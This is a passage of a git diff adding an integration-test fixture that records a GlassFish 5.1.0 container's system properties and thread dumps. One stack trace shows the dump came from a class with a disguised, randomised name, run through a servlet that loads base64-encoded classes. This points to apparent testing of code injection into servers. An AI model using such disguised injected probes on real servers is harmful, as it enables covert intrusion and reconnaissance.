+org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/GlassFish510ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish510ContainerTestBasicInfo.txt new file mode 100644 index 00000000..5ab5f8bb --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish510ContainerTestBasicInfo.txt @@ -0,0 +1,1353 @@ +# Generated At 2025-08-10 14:57:01 +SystemProps: +com.sun.aas.imqBin: /usr/local/glassfish5/mq/bin +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/glassfish5/glassfish/domains/domain1 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish5/glassfish/domains/domain1/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/glassfish5/glassfish/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/local/glassfish5/glassfish/modules/endorsed/grizzly-npn-bootstrap.jar:/usr/local/glassfish5/glassfish/modules/endorsed/jakarta.annotation-api.jar:/usr/java/jdk-8/jre/lib/resources.jar:/usr/java/jdk-8/jre/lib/rt.jar:/usr/java/jdk-8/jre/lib/jsse.jar:/usr/java/jdk-8/jre/lib/jce.jar:/usr/java/jdk-8/jre/lib/charsets.jar:/usr/java/jdk-8/jre/lib/jfr.jar:/usr/java/jdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.sun.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_411-b09 +javax.net.ssl.keyStore: /usr/local/glassfish5/glassfish/domains/domain1/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +com.sun.aas.agentRoot: /usr/local/glassfish5/glassfish/nodes +user.language: en +sun.boot.library.path: /usr/java/jdk-8/jre/lib/aarch64 +com.sun.aas.javaRoot: /usr/java/jdk-8/jre +AS_IMQ_LIB: ../../mq/lib +java.version: 1.8.0_411 +com.sun.aas.instanceRootURI: file:/usr/local/glassfish5/glassfish/domains/domain1/ +user.timezone: GMT +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /usr/local/glassfish5/glassfish/modules/endorsed:/usr/local/glassfish5/glassfish/lib/endorsed +java.rmi.server.randomIDs: true +com.sun.aas.installRoot: /usr/local/glassfish5/glassfish +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +com.sun.enterprise.J2EEServerId: 100 +java.class.version: 52.0 +user.country: US +java.home: /usr/java/jdk-8/jre +felix.fileinstall.dir: /usr/local/glassfish5/glassfish/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.productRoot: /usr/local/glassfish5 +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.installRootURI: file:/usr/local/glassfish5/glassfish/ +path.separator: : +java.vm.version: 25.411-b09 +AS_CONFIG: /usr/local/glassfish5/glassfish/config/../config +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +AS_IMQ_BIN: ../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/glassfish5/glassfish/domains/domain1/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +com.sun.aas.hostName: 0607cb71402e +java.specification.maintenance.version: 5 +awt.toolkit: sun.awt.X11.XToolkit +AS_INSTALL: /usr/local/glassfish5/glassfish/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +com.sun.aas.instanceName: server +com.sun.aas.derbyRoot: /usr/local/glassfish5/javadb +com.sun.aas.configRoot: /usr/local/glassfish5/glassfish/config +java.specification.vendor: Oracle Corporation +AS_DERBY_INSTALL: /usr/local/glassfish5/glassfish/config/../../javadb +java.library.path: /usr/local/glassfish5/glassfish/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: Java(TM) SE Runtime Environment +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -upgrade false -domaindir /usr/local/glassfish5/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/glassfish5/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/glassfish5/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +java.class.path: /usr/local/glassfish5/glassfish/modules/glassfish.jar:/usr/local/glassfish5/glassfish/lib/monitor/flashlight-agent.jar +GlassFish_Platform: Felix +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/glassfish5/glassfish/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +com.sun.aas.imqLib: /usr/local/glassfish5/mq/lib +AS_DEF_DOMAINS_PATH: /usr/local/glassfish5/glassfish/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +com.sun.aas.domainsRoot: /usr/local/glassfish5/glassfish/domains +hei: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/java/jdk-8/jre/lib/ext:/usr/java/jdk-8/jre/jre/lib/ext:/usr/local/glassfish5/glassfish/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/glassfish5/glassfish/domains/domain1/config +com.sun.aas.instanceRoot: /usr/local/glassfish5/glassfish/domains/domain1 +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +glassfish.version: GlassFish Server Open Source Edition 5.1.0 (build default-private) +java.security.auth.login.config: /usr/local/glassfish5/glassfish/domains/domain1/config/login.conf +com.ctc.wstx.returnNullForDefaultNamespace: true +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/glassfish5/glassfish/domains/domain1/config/cacerts.jks +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"CM Event Dispatcher" #79 daemon [WAITING] on java.util.LinkedList@66eaaf26 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(2)" #49 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@50e3006 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"Thread-18" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-25-thread-1" #125 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(4)" #44 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.google.gso.BFyZn.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:281) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1540) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:297) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:215) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:119) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:611) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:550) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:75) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:114) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:332) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:199) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:439) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:144) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:182) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:156) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:218) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:95) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:260) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:177) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:109) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:88) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:53) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:515) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:89) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:94) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:33) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:114) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(1)" #48 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@50e3006 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"pool-17-thread-1" #116 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-24" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(5)" #52 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@50e3006 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"CM Configuration Updater" #78 daemon [WAITING] on java.util.LinkedList@291057b0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #120 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:750) + +"GlassFish Kernel Main Thread" #75 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@26d5e0f7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:223) + +"RMI TCP Connection(2)-192.168.215.4" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/869873366.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-23" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-10-thread-1" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1ab04e2b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"iiop-service-kernel(1) SelectorRunner" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(2)" #56 daemon [WAITING] on java.lang.Object@5fde3b06 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"fileinstall-/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/bundles/" #87 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"pool-11-thread-1" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f399f3 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-10" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-3-thread-1" #37 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@bc6418e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-3" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-5" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"DestroyJavaVM" #77 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-8" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65907bf6 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:119) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:98) + +"FelixResolver-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7dccbbca + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-20-thread-1" #117 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c12c456 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-21" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@682d5d8b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2(3)" #50 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@50e3006 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at 